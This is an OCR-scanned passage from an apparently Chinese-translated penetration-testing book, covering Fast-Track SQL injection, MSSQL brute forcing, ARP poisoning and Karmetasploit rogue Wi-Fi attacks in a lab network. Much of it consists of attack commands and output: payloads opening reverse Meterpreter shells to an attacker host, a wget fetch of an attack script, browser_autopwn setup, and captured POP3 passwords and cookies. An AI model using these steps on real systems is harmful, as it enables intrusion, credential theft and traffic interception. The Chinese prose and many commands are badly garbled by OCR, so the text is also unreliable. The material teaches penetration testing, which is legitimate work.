Microsoft Windows [Versien 5.2.3790]

(C) Copyright 1685-2003 Microsoft Corp.,

C :\WINDOWS\system32>

I seeEE T BRAES%E, B UBEEHLEIT SQL AR . EEIMA Web MAF
A 7 2840 SQL BHERIEF A ERE, |ATHBEEAASRI HE —RNE,
ZHEREEHITHEEER . FREXHPERE T SQL Injector - Query String Parameter
Attack® J5. TR A FAST-TRACK #Rfit—/ SQL LA RO, R xp_cmdshell Fifd R ThRER
)&, Fast-Track $f HZEIERX A58, RIFF <A MS SQL TR R .

11.1.2 SQL FA—POST &I

Fast-Track ] POST &% 5 LT FHEM B HES B R HEMMNALE E /D XM
seigs, FRIE(UE BT M TR URL %A F Fast-Track 97, Fast-Track %< BRI R
BHRITE S

Enter which 50L Injector you want to use

. 50L Injector
. S0L Injector
. SQL Injector
. SQL Injector

Query String Parameter Attack

POST Parameter Attack

GET FTP Payload Attack

GET Manual Setup Binary Payload Attack

oW K e

Enter your choice: 2

This portion allows you to attack all forms on a specific website without having to specify
each parameter. Just type the URL in, and Fast-Track will auto SQOL inject to each parameter
looking for both error based injection as well as blind based SQL injectlon. Simply type
the website you want to attack, and let it roll.

Example: http://www.sqlinjectablesite.com/index.aspx

Enter the URL to attack: http://www.secmaniac.com

Forms detected...attacking the parameters in heopes of exploiting SQL Injection..

166



F11E Fast-Track

Sending payload tp parameter: txtLogin

Sending paylead to parameter: txtPassword

[-] The PAYLOAD is

listening on [any]

being delivered. This can take up to twoe minutes. [-]

4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211.55.128] 1041
Microsoft Windows [Version 5.2.3790)
(C) Copyright 1985-2003 Microsoft Corp.

C:AWINDOWS\system32>

EARAT B R H, Fast-Track B3MGMIT POST &4, HEATH IS, #Eif SQL
FEATEREHT B EL

B IRV FTP AR L E8 A, (28 FTP a2 KA R4S 48— 2

Ak a4

11.1.3

TEA

WMARRE 73— 1P AR R shell, BREA R EXN REATHA R LUEHFE TEA

Enter which SOL

1. SQL Injector
2. SOL Injector
3. SQL Injector
0 4. SOL Injector

Injector yvou want to use

Query String Parameter Attack

POST Parameter Attack

- GET FTF Payload Attack

- GET Manual Setup Binary Payload Attack

Enter your choice: 4

The manual portien allows you to customize your attack for whatever reason.

You will need to designate where in the URL the SQL Injection is by using

"INJECTHERE

50 for example,

when the tool asks you for the SQL Injectabie URL, type:

http://wew,thisisatakesite.com/blah,aspx?id="INJECTHERE&password=blah

Enter the URL of the susceptible site, remember to put 'INJECTHERE for the
injectible parameter

Example: http://www.thisisafakesite.com/blah.aspx?id="INJECTHERE&password=blah

® Enter here: http://www.secmaniac.com/index.asp?id="INJECTHERE&date=2010
© Enter the IP Address of server with NetCat Listening: 10.211.55.130
€ Enter Port number with NetCat listening: 9090
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Sending initial request to enable xp _cmdshell if disabled....
Sending first portion of payload....

Sending second portion of payload....

Sending next portion of payload...

Sending the last portion of the payload...

Running cleanup,..

Running the payload on the server...

listening on [any] 9090 ...

10.211.55%.128: inverse host lookup failed: Unknown server error : (onnection
timed out

connect to {10.211.55.130] From {UNKNOWN) [10.211.55.128] 1845
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \HINDOWS\system32>

B, ERF LEAEDNO, K, FHEEARSHE T, I Fast-Track 8 R 7ETE SQL
AARMRBRAAO, EEBAKK PO REWER OO, MHAMAE BB Fast-Track B4 A
B".

11.1.4 MS SQL K #E

Fast-Track P EIFHIThEETTREE S R MSSQL BEEThEE T (¥€ Microsoft SQL WFHF T HE R
RATLIRBD. BEFEHE T MS SQL fR%. MSSQL MM ThEEM Windows AIE. SQL IAIE,
RERAMEFAEEN.

BAWEAR AR F R EIT Windows JAUEFT MS SQL B &-881A4F. B MS SQL &%
AEPiER TEFARSATENRR SQL AERRK, BAREETFHETERTERE - MS
SQL 1 se FI /%S (BIMS SQL MEBERZEHR). AEHNT, FEASEKFEREOS.
FOLSREDTHBAOS, IHEEEEEHERESFAIEDS. R so & O4H R M
KiE, BSRAGEERY BEEITE xp_cmdshell REFEENRE .

Fast-Track 8 1 /LA R IE R K MS SQL IRE4%, BIFEMER nmap 3 MS SQL BRIAM
TCP 1433 §k DiATH . AR Bz EPLERA MS SQL Server 2005 BUZ FFRIRA, X UEIf A
KA T B O MRS, XM T AR, BR Fast-Track 7] IH# 5 Metasploit & B,
it UDP 1434 31 g0k tH MS SQL IR & BRIZiTHISI&ER D,

— B, Fast-Track iRB|HBIRE R OFEIHBEH sa WP T4, Fast-Track W{EFH R
binary-to-hex ¥ Hik RN P BHRHT. ZANBHERRINEMRAR, FFHNEMS SQLE
R KRR IRBE T

168



¥ 11 ¥ Fast-Track

Microsoft SQL Attack Tools

Pick a list of the tools from below:

1. MSS50L Injector
2, MSSCL Bruter
3. SQLPwnage

Enter vour choice : 2

Enter the IP Address and Port Number to Attack.

Options: (a)ttempt S0L Ping and Auto Quick Brute Force

(m)ass scan and dictionary brute

{s)ingle Target (Attack a Simgle Target with big dictionary)
(fyind SQL Ports {SQL Ping)

(1) want a command prompt and know which system is vulnerable
(vJulnerable system, I want t0 add a lecal admin on the box...
(e}nable xp cmdshell if its disabled {sql2k and sql2ks)

FERAT%ESRE T MSSQL Bruter 28I /5, Fast-Track A3 H T ol BLA S8R 4E ) & P B t%
If. NEFFdAGESMNGRPEEBRHRDY, EREREEGREKR—-BisFER . Brik,
WERTREEIRFS X ERXEER.

Fast-Track 5 1T LT ThREIL L.

248, SQL Ping F1 BB & SR ARiE TR B k=il fH i —E 1P #uht, {(FRIEE
1l nmap —#, REFH—ANHLESTFHNAETA 50 I O S RFE R AR HITTR
RIS SRR

BT fs DA D BEIR T AR5 — B [P duht, U VriR B Qe X HSF &,
Fast-Track H#f 7 — M HEE AP DSFRXMY, FEE binddict/wordlist et P .

8- - HARThREIETH fo Y IR®E — A 1P HuhkfF B CHR 01 & F AT S iR

#R# SQL ¥y id (SQL Ping) LB MAR R T 33X SQL ARF&-&Huht, MA =B Tix
Rl %548

{4 1T shell DHEERIN: MRS LR T sa 04, ZDIREIETIBE N RIBHE -
44T shell,

Vulnerable system (FFARFIIASL) hEEEI: E—MROOMEREREN RS L8N
—AEHREERKS .

JAFE xp cmdshell ZHREZETN: xp cmdshell £ —* Fast-Track R R BT EE#IERAH S
B B FER . BRIMEUL T, 7E SQL Server 2005 RZ EMRUASD, ZThk R H
. {H£ Fast-Track W] LA B 318 Fli%INSY8E. Fast-Track EF BRI LEN K LR
R, MERE TEMETR, 2 B3B8 EI6E.
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fRaf PAE LN BTk EHIBLE H B s Y., B stR MR E
R, RAERSG -BASERN k. BT SERNERNNBENHFFERARRY PO
AFd, AT MS SQL ¥ FE &L,

Enter the If Address and Port Number to Attack.

©® Options: {a)ttempt SQL Ping and Auto Quick Brute Force
(m}ass scan and dictionary brute
{s)ingle Target [Attack a Single Target with big dictionary)
ffiimd SQL Ports (5QL Ping)
(1) want a command prompt and know which system is wulnerable
(vlulnerable system, I want to add a local admin on the box...
(e)nable xp cmdshell if 1ts disabled (sql2k and sql2ks}

Enter Option: a
8 Enter username for SQL database (example:sa): sa
Configuration file not detected, running default path.

Recommend running setup.py install to configure Fast-Track.
Setting default directory...

® Entexr the IP Range to scan for SQL Scan (example 192.16B,1,1-255):
10,211.55.1/24

Do you want to perform advanced 5QL server identification on non-standard 5QL
perts? This will use VOP feotprinting in order to determine where the SQL
servers are at. This could take quite a long time.

© Do you want to perform advanced identificaticn, yes or no: yes
[-] Launching SQL Ping, this may take a while to footprint.... [-]

[*] Please wait while we load the module tree...
Brute forcing username: sa

[*] Please wait while we load the module tree..,
Brute forcing username: sa

Be patient this could take awhile...

Brute forcing password of passwordz on IP 10.211.55.128:1433
Brute forcing password of on IP 10.211.55.128:1433
Brute forcing password of password on IP 10.211.55,128:1433

S0L Server Compromised: "sa” with password of: "password" on IP
10.211,55.128:1433

Brute forcing password of sqlserver on IP 10.211.55.128:1433
Brute forcing password of sql on IP 10.211.55.128:1433

Brute forcing password of passwordi on IPF 10.211,55.128:1433
Brute forcing password of passwordi23 on IP 10,211.55.128:1433
Brute forcing password of complexpassword on IP 10.211.55.128:1433
Brute forcing password of database on IP 10.211.55.128:1433
Brute forcing password of server on IP 10.211.55.128:1433

Brute forcing password of changeme on IP 10.211.55.128:1433
Brute forcing password of change on IP 10.211.55.128:1433

Brute forcing password of sgqlserver2000 on IP 10.211.55.128:1433
Brute forcing password of sqlserver2005s on IP 10.211.55.128:1433
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Brute forcing password of Sqlserver on IF 10.211.55.128:1433
Brute forcing passwerd of SqlServer on IP 10.211,55.128:1433
Brute forcing password of Passwordl on IP 10.211.55.128:1433

« -« - SNIP . . .

e ok o ko o o ok o oo o ok ol o e el

The following SQL Servers were compromised:
L E L RSt P LRI LR AL PR SRR L E RS L 2 £

1. 10.211.55.128:1433 *** U/N: sa P/W: password ***

S 3 o S o S o o A o S o e e e e e e o e e oot s e e o o

To interact with system, enter the (L Server number.
Example: 1. 192,168.1.32 you would type 1

Enter the rnumber:

LiE#E T 21k SQL Ping 1 QERER DEBOS, FIEIMIEERFHA SQL iE
PERIA P26, ETHRMARBEESRER P L, BFEITEEXMSRRMNAHO, BRE
HAFRNER RS, BEIHIEEF .

BT R M4 £ B Fast-Track RIIHEM T —MHP 2N sa B84 password KRS H
1o TEXFERT, RALLUERE B EG#ER, RERBEMRLE, OTHAR:

Enter number here: 1

Enabling: XP_Cmdshell.,.. _
Finished trying te re-enable xp cmdshell stored procedure if disabled.

Configuration file not detected, running default path.
Recommend running setup.py install to configure Fast-Track.
Setting default directory...

What port do you want the paylecad to connect to you on: 4444
Metasploit Reverse Meterpreter Upload Detected..

Launching Meterpreter Handler.

{reating Metasploit Reverse Meterpreter Payload..

Sending payload: c88f3f9acqbbedebbdalsreotsbetd48dads
Sending payload: ac8cbc4d?714aaeed2672d69e251cee3dfbad
Metasploit payload delivered..

Converting our payload te binary, this may take a few...
Cleaning up...

Launching payload, this could take up to a minute...

When finished, ¢lose the metasploit bandler window to return to other
compromised SQL Servers.

[*] Please wait while we load the module tree...

[*] Handler Binding to LHOST 0.0.0.0

[*] Started reverse handler

(*] Starting the payload handler...
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[*] Transmitting intermediate stager for over-sizad stage...(216 bytes)

[*] Sending stage {718336 bytes)
[¥] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.128:1030)

meterpreter »

S5 AE FE A B9 Meterpreter B85, MRELER LIS BRBRERL T .

11.1.5 &4 SQL B a2 H (SQLPwnage)

SQLPwnage & —M MBS IREBEAT A X, ATLIEX Web B AR FFE R HANH A
) MS SQL FEARIR, REUEHII . SQLPwnage A BT — 4 Web R4 2% M EL AT 80 511,
s R, FNZRESNGR, 125 POST SHCRA K SQLEA R . EXHERER
HEAREE, R EESEET. HA xp_omdshell 7 BT, LRSS Windows i
64KB HIBREIZRATIGE, BERFRHNIERENER BFERET. R EiXBT,
HREE L Fast-Track £3L ¥ [3%1F Microsoft SQL Tools. 2 5%+ SQLPwnage (£ 2),
TR

SQLPwnage Main Menu:

1. SQL Injection Search/Exploit by Binary Payload Injection {(BLIND)
© 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED)
3. SOL Injection single URL exploitation

Enter your choice: 2
. SNIP . .
Scan a subnet or spider single URL?
1. url
® 2, subnet {new)

3. subnet (lists last scan)

Enter the Number: 2

Enter the ip range, example 192.168.1.1-254: 10.211.55.1-254
Scanning Completel!! Select a website to spider or spider all??

1. Single Website
© 2. All Websites

Enter the Number: 2

Attempting to Spider: http://10.211.55.128
Crawling http://10.211.55,128 {Max Depth: 100000)
DONE

Found 0 links, following 0 urls in 0+0:0:0
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Spidering is complete.

2 sk ok e sl S o o A A o o ool o R e R e o o o i oo o o o o g o
http://10.211.55.128

o A o A o oo o o8 O o o o o o o o S o e o o e B R R R e o

[+] Number of forms detected: 2 [+]

& A 50L Exception has been encountered in the "txtLogin” input field of the
above website.

RIEM ISR EEBAT SQL A SRR SRS R, FREETBRENDE T PEEH
RIEEH AR BIAETHREANO, KM TERIT SQL EMHFEEE THIZER,

ZfE, EHEREL AURLEAANMHITRTEE, RERARSFRNE®, FiOls
FHMMBRZ G, BIEEREFast-Track RELFIF A MO, ReJLlE LEED, EH#EERI
BT 1S EREA ALY O.

BB EMBERNRGES, ETHMOH TP, RAII%EE Metasploit Meterpreter
Reflective Reverse TCP (TCP K3 Meterpreter v i) O, |50 338448 B Br s 4L 0 0F
L @. ff Fast-Track it SQL HARFHBBERNE, NEERFHNRHRTO, BS

Meterpreter shell #f eI H IR EERE T O
What type of paylead do you want?

1. Custom Packed Fast-Track Reverse Payload (AV Safe)
2, Metasploit Reverse WNC Inject (Requires Metasploit)
3. Metasploit Meterpreter Payload (Requires Metasploit)
4. Metasploit TCP Bind Shell (Requires Metasploit)

5. Metasploit Meterpreter Reflective Reverse TCP

6. Metasploit Reflective Reverse WNC

Select your choice: §

Enter the port you want to listen on: 9090

[+] Importing 64kb debug bypass payload into Fast-Track... [+]
[+] Import complete, formatting the payload for delivery., [+]
[+] Payload Formatting prepped and ready for launch. [+]

[+]1 Executing SQL commands to elevate account permissions. [+]
[+] Initiating stored procedure: 'xp cmdhshell' if disabled. [+]
[+] Delivery Complete. [+]

Created by msfpayload (http://www.metasploit.com).

Payload: windows/patchupmeterpreter/reverse tep

Length: 310

Options: LHQS5T=10.211.55.130,LPORT=9090

Launching MSFCLI Meterpreter Handler

Creating Metasploit Reverse Meterpreter Payload..

Taking raw binary and converting to hex.

Raw binary converted to straight hex.

© [+] Bypassing Windows Debug 64KB Restrictions. Evil, [+]

ee
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. . SNIP . . .

Running cleanup before launching the payload....
[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]
[*1 Please waiil while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*]} Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (718347 bytes}...
[*] Upload completed.
@ [*] Meterpreter session 1 opened (10.211.55.130:9090 -» 10.211.55.128:1031)

meterpreter »

11.2 BB AR 58 iR ER

SPFHEHEA BAR RARN, RELL B IR RGREMEIFHAT 43X, TEHSI BN
RSN D RIERETHT . 7 Fast-Track PIEE—THBIH, S8R ER—IXE
X, BRI LIS EBI B H R BRIERGF . H 7B EEHI M R % 0 T aERIey T RAT
XA, EREEIR 6, FHHITI FRFe:

@ Enter the number: &
Binary to Hex lenerator vo.1

-+ « SNIP . . .

® Enter the path to the file you want to convert to hex: /fpentest/exploits/
fasttrack/nc.exe

Finished...
Opening text edifer...

// Output will look like this

© DEL T 1>NUL 2»NUL

echo EDS:0 40 5A 90 00 03 00 OC Q0 04 90 00 00 FF FF 00 003>7
echo EDS:10 BE 00 OC 0O QD OC 00 00 40 00 00 0O 00 00 00 G0»>T
echo FOS5:20 L 10 003>T

echo €05:30 00 00 00 00 00 GO 00 0O OO0 Q0 00 Q0 BO OC 00 00»>7
echo ED5:40 OFE 1F BA OE 00 B4 09 CO 21 B8 01 4C CD 21 54 68»»T
echo EDS:50 68 73 20 70 72 6F 67 72 61 6D 20 63 61 &E BE 6F»>»7
echo EDS:6C 74 20 62 65 20 72 75 6E 20 69 AL 20 44 4F 53 205»7
echo EDS:70 6D 6F 64 65 2E oD 0D OA 24 ©0 00 0D QD QG 00 00»»T

FERF T B AN %R LG, £ Fast-Track PIgE HRBEER RN RIS,
RIFHBEARN REO . ST, Mn] DU 8N 1) XA B IR R B 4@ RZH shell
FEWT, GRSFHEREP AR - TR E R BERISCFR .
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11.3 AMEE RPinIE

KT P By 5 5 A4S B e Bl shaksiel, #m, KAURE S mBLL R T80
WHEAR, ATLLEtXt HaRFHLAER 9 FE ARP & 4880 DNS #&HEEH, AR —& Metasploit

PHAEF RIS S AR IE B .
LHFIERSIIRE Web RS 28R, Fast-Track & 30E A BEELE Metasploit FE3 A HH #)

Wit | # T EERE . WRAFEIFERNMEALLETRFERRA, WHEEHaREA
FRIEHLK S8 2% H1A

© Enter the number: 4

. SNIP . . .
& Enter the IP Address you want the web server to listen on: 10.211.55.130
Specify your payload:
1. Windows Meterpreter Reverse Meterpreter
2, Generic Bind Shell
3. Windows VNC Inject Reverse TCP (aka "Da Gui")
4. Reverse TCP Shell

® Enter the number of the payload you want: 1

MEFHK €k, —Mass Client-Side Attack 5@, &1F Fast-Track Web R %38 K1 W0 IP
Hht®, 2 FEiEFE—NBEEGe.

BTX, EHFREEFEHR Ettercap T H#r EHLHIT ARP WSk ¥ . Ettercap #-oBM H i+
VLR ER, HREREEMINKEEESS L. TEiEREEMER Etercap 250,
APRREER A R AL IP #iht @, Fast-Track <& O3 # R IR B I Ettercap® -

@ Would you like to use Ettercap to ARP poison a host yes or no: yes

. oNIP . . .

® What IP Address do you want to poison: 10.211.55.128
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter..,

L] L SHIP L] L ] L

© Filter compiled...Running Ettercap and poiscning target...

— BE B AR EE RS 25, Measploit &% BT RELBI B HO. TEET RS
F|F®H, YRETLAF 2] Adobe IBBER L ARINERE, R -4 Meterpreter shell IE7E[RE® .
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B EXABKPHETAEA ARP 4 S8R &, PXERKMASA RIS TR —
A AR F RSB0 T R TiTRE, +RBERA.

[¥] Local IP: http://10.211.55.130:8071/
[*] Server started.
[*] Handler binding tc LHOST 0.0.0.0
[*] Started reverse handler
[*] Exploit running as background job.
[*} Using URL: http://0.0.0.0:8072/
(*] Local IP: http://10.211.55.130:8072/
[*] Server started.
msf exploit(zenturiprogramchecker unsafe} »
[*¥] Handler binding to LHOAT 0.0.0.0
[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8073/
[*¥] Local IP: http://10.211.55.130:8073/
[*] Server started.
© [*] Sending Adcbe Collab.getlcon() Buffer Overflow to 10.211.55.128:1044...
[*] Attempting to exploit ani_loadimage chunksize
(*] Sending HTML page to 10.211.55.128:1047...
[*] Sending Adobe 18IG2Decode Memoxy Corruption Expleoit to 10,.211,55.128:1046...
[*] Sending exploit to 10.211.55.128:1049...
[*] Attempting to exploit ani loadimage chunksize
[*] Sending Windows ANI LoadAnilcon() Chunk Size Stack Overflow (HTTP) to
10.211.55.128:1076...

[*] Transmitting intermediate stager for over-sized stage...({216 bytes)
[*] Sending stage (718336 bytes)
@ [*] Meterpreter session 1 opened (10.211.55.130:9007 -> 10.211.55.128:1077

msflexplnit{zenturiprugramchecker unsafe) > sessions -1
Actlve sesslons

]

1 Meterpreter 10,.211.55.130:6007 -> 10.211.55,128:1077

mst exploit{zenturiprogramchecker unsafe) » sessions -i 1
[*] Starting interaction with 1...

meterpreter »

11.4 /PG FEHUSEN—RFX

Fast-Track £ A FEEZREPEF Metasploit #2428 E3 B T H4ME bR ke S . LS ER
Metasploit B, Fast-Track SVFR{EH BN E HERSELFZHE BRFN. 48, BaHLAEB
BR G A BN, XRERFROM T RIFIEERGRIRS, HHR NIRRTt
HOEmRITHRJLE . EAEZE T RAMMEA T, SR CKHEINEITEITBEFHRIHK
B HEHIR XREFREA— I BAFFEERAAR.
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Karmetasploit & KARMA 7F Metasploit f232_FFI1SEH, 1 KARMA & & Dino Dai Zovi #
Shane Macaulay A R ) LR EM. KARMA AT Windows XP fl MAC OS X #FR&TE
BIXTEMENFAENESRR: ARFREBN, SKIEEREIRIWERTH TR
o 28

W FFH KARMA fEMBI RN B E—ME R 89 AP, RS W 38 M H 55 5OERE 7,
FBERE AT RN R B R MR . Y A8 A i AR B IO R A A B
FHERNEZEMEE, KARMA FJEAHIREEEHF WNEMEBRE, S TFRGA T
P, BREEESE. ATARANTENMEERPBRETRAEIA, B ] LUEME RS
5. HPeZRAEHAMTT, #/H KARMA RERSHABHFEOME. ETHEZXT
KARMA BYIRIEI, WA R CATKYE: hep./trailofbits.comkarma/ .
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Karmetasploit & KARMA 2% 80HEM 7 Metasploit #2382 ERISEI. ©EILT 250 “HE"
KR %, BF5 DNS. POP3. IMAP4. SMTP. FTP. SMB #l HTTP. IX%:hR 5% 58 #ECHINa R K
BAMEFABIER, MHUEHHSAZHENBERE XXX FNRRISHE T
Metasploit 1R H & F W modules/auxiliary/server #4%).

121 EcB&

Karmetasploit i MACEE D, &5, BAIE —1 DHCP IRF 3[4 BT M0 % [P
Huhlk. Back|Track 444 T DHCP B4 48, (R T &4 Karmetasploit f# /], LATHEQIR—
MAHEXFRE XY, T EHRT:

® option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72:
ddns-update-style none;
authoritative;
log-facility local?;
subnet 10.0.0.0 netmask 255.255.255.0 4
] range 10.0.0.100 10.0.0,254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;

}

B 774 ep fete/dhep3/dhepd.conf fete/dhep3/dhepd.conf.back 5 7} [REG TR B C#Y dhepd
conf, MECIRHHLHBETOP KT, FNAE 10.0.0.100 3 10.0.0.254 FTEHE AL ML
©. (IMERI DHCP BB ABE, AREL, REREE FHACHE dhepd.conf X1, BEEIE
BT

Tk, BATTH KARMA BICH, KAEREHEEE Metasploit B EHIRIEH T

root@bt:/opt/metasploita/msfi# wget hitp://www.offensive-security.com/downleads/karma.xc

BEANITH KARMA BB karmare, TP LEBEEATR R EREFFF, MF
BoR:

root@bt:/opt/metasploit3/mstift cat karma.rc
db_connect postgres:toor@27.0.0.1/msfbook
O use auxiliary/server/browser_autopwn
O setg AUTOPWN HOST 10.0.0.1
setg ALUTOPWN_PORT 55550
setg AUTOPWN URT /fads
© set 1HOST 10.0.0.1

set LPORT 45000
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set SRVPORT 55550
set URIPATH /ads
run
@ use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
Tun

ENMBREIFME L EIEKE (db_connect postgres:toor@127.0.0.1/msfhook ) 2 )5,
KARMA &% browser autopwn IRE @ 1XZ —RP &3 BT 85 5518 2 # i28 Bl SR B (8
# B Th k. Metasploit #ESER Y — SR TR WAMNBERHHER, WRATEREPETE
include Msf::Exploit::Remote::BrowserAutopwn:'¥ , X3 7R HUF IR avtopwn AR & BT 3 E AT

O MO LA IP AR EN 100.0.1, ZHSIUAR DHCP ALE—H. RE, FTHHM
FREFAEH SO, (MEFRE 7 RTBREGE PR, HRIEFRF.D

FT—#, HATRLERMFREHRITER, LR FAKBTFRMAXXENFLA. PR
EANFITFRITRM R HER RT73 B . BATHEA airmon-ng 3T7F wlan0 K13 B BH.

root®bt: /opt/metasploit3/msfi# airmon-ng start wlano

RBRaA: X4 éMFEANSRE LFHFRRA, #FFB Aircrack-ng 4 F 35
( http://www.aircrack-ng.org/ ) T A EMIFAR o L4 M 1R By B K.

12.2 FWRE

Aircrack-ng #2 A H 1Y airbase-ng 41 FKAIH Karmetasploit B 8 AP. 7L 8-,
1AL E airbase-ng AP WA HIFT (-p), FI0MEHES (30> R “Free WiFi” 1F
H ESSID (-e "Free WiFi"), PLBHEAZRTT (), HFH mond #FE

root@bt:/opt/metasploit3/msf3# airbase-ng -P -C 30 -e "Free WiFi" -v mono
Q 14:06:57 Created tap interface ato

14:06:57 Trying to set MTU on at0 to 1500

14:06:57 Trying to set MTU on mond to 1800

14:06:57 Access Point with BSSID 00:21:29:E2:DE:14 started.

EINRZE@E K, Airbase-ng Q)2 T — IR atd. Karmetasploit BEHZX MO
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T, RAIWTH a0 #: 0 HIEFT DHCP %

0 root@bt:/opt/metasploit3/mstift ifconfig ato up 10.0.0.1 netmask 255.255.255.0
® rootdbt:/opt/metasploit3/msfi#t dhcpds -cf /fetc/dhcp3/dhepd. cont ato

-q-tSHIP--q

Wrote 0 leases to leases file.

Listening on LPF/atD/00:21:29:e2:de:14/10.0.0/24
Sending on  LPF/at0/00:21:29:e2:de:14/10.0.0/24
Sending on  Socket/fallback/fallback-net

Can't create PID file /var/run/dhcpd.pid: Permissicon denied.
© root@bt:/opt/metasploit3/mst3# ps aux |grep dhcpd

dhcpd 4015 0.0 0.2 3812 1840 ¢ S5  14:09 0:00 dhcpdy -cf setc/dhop3/
dhepd. conf ato
root 4017 .0 0.0 2012 564 pts/4 S5+ 14:09 0:00 grep dhcpd

@ rootdbt:/opt/metasploit3/msf3# tail tail -f /var/log/messages

Apr 2 14:06:57 bt kernel: device mon0 entered promiscuous mode

Apr 2 14:09:30 bt dhcpd: Internet Systems Consortium DMCP Server vi.i1.1

Apr 2 14:09:30 bt kernel: warning: “dhcpd3’ uses 32-bit capabilities (legacy support in use)
Apr 2 14:09:30 bt dhepd: Copyright 2004-2008 Internet Systems Consortium,

Apr 2 14:09:30 bt dhcpd: All rights reserved.

Apr 2 14:05:30 bt dhcpd: For info, please wisit http://waw.isc,org/sw/dhcp/

Apr 2 14:00:30 bt dhepd: Wrote 0 leases to leases file.

Apr 2 14:09:30 bt dhcpd: Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/23

Apr 2 14:09:30 bt dhepd: Sending on  LPF/at0/00:21:29:e2:de:14/10.0,0/24

MO R, O atd T H B4 H ip uhik 10.0.0.1, @& DHCP R F #$F D atd 21T,
HEHBRNZARIKAEXR. X 7THE DHCP REIEEZBIT, 15317 psaux®. Bf5. B
B BERMEN 28 PSR TO.

WLFE, £ #EK Karmetasploit LT A T » BA 0] LLEE MSF # 34 msfconsole YP{# A resource
karma.re 47 I0ER LA (AN R AT EURIT Ay 44T 54 msfconsole -r karma.re 3 # 3 1H%
525 MSF 223 ):

msf > resource Karma.rc
resource {karma.rc)> db_connect postgres:toor@i27.0.0.1/msfbook
resource (karma.rc)> use auxiliary/server/browser_autopwn
resource (karma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN PORT 55550
AUTOPWN PORT =» 55550
resource (karma.rc)> setg AUTOPWN URI /ads
AUTGPWN _URI =» /ads
® resource (karma.rc)> set LHOST 10.0.0.1
LHOST =» 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT => 45000
resource (karma.rc)> set SRVPORT 55550
SRYPORT =» 55550
resource {karma.rc)> set URIPATH fads
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URIPATH =» fads
respurce (karma.rc)> run

[*] Auxiliary module execution completed

® resource {kamma.rc)> use auxiliary/server/capture/pop3
resource {karma.rc¢)> set SRVPORT 110
SRVPORT =» 110
resource (karma.rc)> set SSL false
S55L => false
resource (karma,rc)> rum

« « SNIP ., . .

[*} Starting exploit windows/browser/winzip fileview with payleoad windows/

meterpreter/reverse tcp

[*] Using URL: http://0.0.0.0:55550/NowReDIhfKg

[*] Local IP: hitp://192.168.1.101:55550/NowReDIhfKg

[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333

[*] Starting handler for generic/shell reverse tcp on port 6666
[*] Started reverse handler on 10.0.0.1:3333

[*¥] Starting the payload handler...

[*} Started reverse handler on 10.0,0.1:6666

[*] Starting the payload handler...

{*] --- Done, found 15 expleit modules

[*] Using URL: http://0.0.0.0:55550/ads

[*1 Local IP: http://192.168.1,101:55550/ads

[*] Server started.

FUWARRERIR, EXA4HT TER4AE., EUlETErh, £ LHOST Hht#EE N
10.0.0.16, POP3 JE&IN5h®, HERME autopwn B E R HERO, BSTE payloads®.

12.3

IRELEUE

HEPIREEIRNER AP L, ZRMEEOHEBX4E RN AN [P Hahf 37
SRET . RBEXE, LERIMUER MSF £mPEFEEETHA2. XE, BIIEI—NEF
RIEENSACT 1P HabE:

Apr
ApT

Apr
Apy

2 15:07:34 bt dhcpd: DHCPDISCOVER from 00:17:9a:b2:b1:6d via ato

2 15:07:3% bt dhcpd: DHCPOFFER on 10.0.0.100 to 00:17:9a:b2:bl:6d (v-xp-spz-bare) via ato
2 15:07:35 bt dhcpd: DHCPREQUEST for 10.0.0.100 {(10.0.0.1) from 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via ato |

2 15:07:35 bt dhepd: DHCPACK on 10.0.0.100 to 00:17:9a:b2:b1:6d {v-xp-sp2-bare) via ate

BN B dr B AR E S — PSR 4T T2 H 3. W0 F AR, Karmetasploit I 7EFF 4%

[*] DNS 10.0.0.100:104¢ XID 45030 (IN::A time.windows,com)
[*] DNS 10,0.0.100:1049 XID 47591 (IN::A pop3.securemail.com)

©® [*] POP3 LOGIN 10.0.0.100:1102 bsmith / s3cr3tp4ss
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@ Fi7~, Metasploit Bifit &) POP3 B4 28#k4% 7 B sRETHRMF M P s fuitntk, HARER
DNS i# sk #3%% Karmetasploit B T If) DNS 2 & 23 FrEiiR.

12.4 5%l Shell

mxE, HPealslsmidhideg, FTERMRTERTMNE., ST HE,  —Me&El
P REENSTHP, Wk 12-1.

3 Hatel Cuscl Wirakess Serviess Wiz roaalt interngl [apiorer
FMir B ew  Foreligs  Togd  Help

O © ARG pmeo e @ 203

mtrwes A1 FELD ooy i oontt L mepyT et Tty i =rnhome o ] e ®

Tob ol el b it b S Loy, It o by st Hhis <k e Eroam, ircilaling ar s 2l il A0 il COive (Cetle Bk Pem i, |

B 12-1 Karmetasploit $43&( ] I1iH

X P A R AT IS R R T ke K444 I Karmetasploit IE T T-BC B Bdi £ #3X cookies;

B R MEAE. DNS MIEARMEMNS . LA E P il i iTeB B i M4
RMEEZERNIN karmare LHE.

MR, EXREMIGET, ROF rEMEEREZESRT. HBEIEETH, MESRS
B “Loading” WM. WRME/SEENCHWE, fhalgERIRMCHMNEE N, X 1REA]
BB HARARTTLLERIT A U, SHFRMA S R EEBIR R, R IRmE
F B PR AR E]

T, HRRHSFIHXRIGESRAER T

[*] HTTP REQUEST 10.0.0.100 > www.microscoft.com:80 GET /isapi/redir.dll Windows IE 6.0
cockies=WT_NWVR=0=/:1=downloads:2=downloads/en; WT_FP(=id=111.222.333,444-1008969152
